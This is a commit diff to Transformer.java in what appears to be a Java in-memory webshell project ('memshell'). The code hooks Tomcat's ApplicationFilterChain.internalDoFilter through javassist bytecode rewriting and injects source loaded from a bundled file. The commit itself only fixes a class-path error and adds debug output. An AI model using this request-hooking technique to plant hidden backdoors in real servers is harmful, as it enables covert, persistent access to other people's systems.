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fix the bug: javassist.NotFoundException: org.apache.catalina.core.ApplicationFilterChain

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This commit is contained in:
rebeyond
2018-06-13 22:45:41 -07:00
parent 956712b84f
commit b3499fc087
1 changed files with 6 additions and 1 deletions
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src/net/rebeyond/memshell/Transformer.java
Regular → Executable
+6 -1
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@@ -8,6 +8,7 @@ import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
@@ -19,8 +20,9 @@ public class Transformer implements ClassFileTransformer{
if ("org/apache/catalina/core/ApplicationFilterChain".equals(s)) {
try {
Class a=Class.forName("javassist.CtClass");
ClassPool cp = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(aClass);
cp.insertClassPath(classPath);
CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod m = cc.getDeclaredMethod("internalDoFilter");
m.addLocalVariable("elapsedTime", CtClass.longType);
@@ -29,6 +31,7 @@ public class Transformer implements ClassFileTransformer{
cc.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
System.out.println("error:::::"+ex.getMessage());
}
}
@@ -38,6 +41,8 @@ public class Transformer implements ClassFileTransformer{
public String readSource() {
StringBuilder source=new StringBuilder();
InputStream is = Transformer.class.getClassLoader().getResourceAsStream("source.txt");
System.out.println(Transformer.class.getClassLoader());
System.out.println(Transformer.class.getClassLoader().getResource("source.txt").getPath());
InputStreamReader isr = new InputStreamReader(is);
String line=null;
try {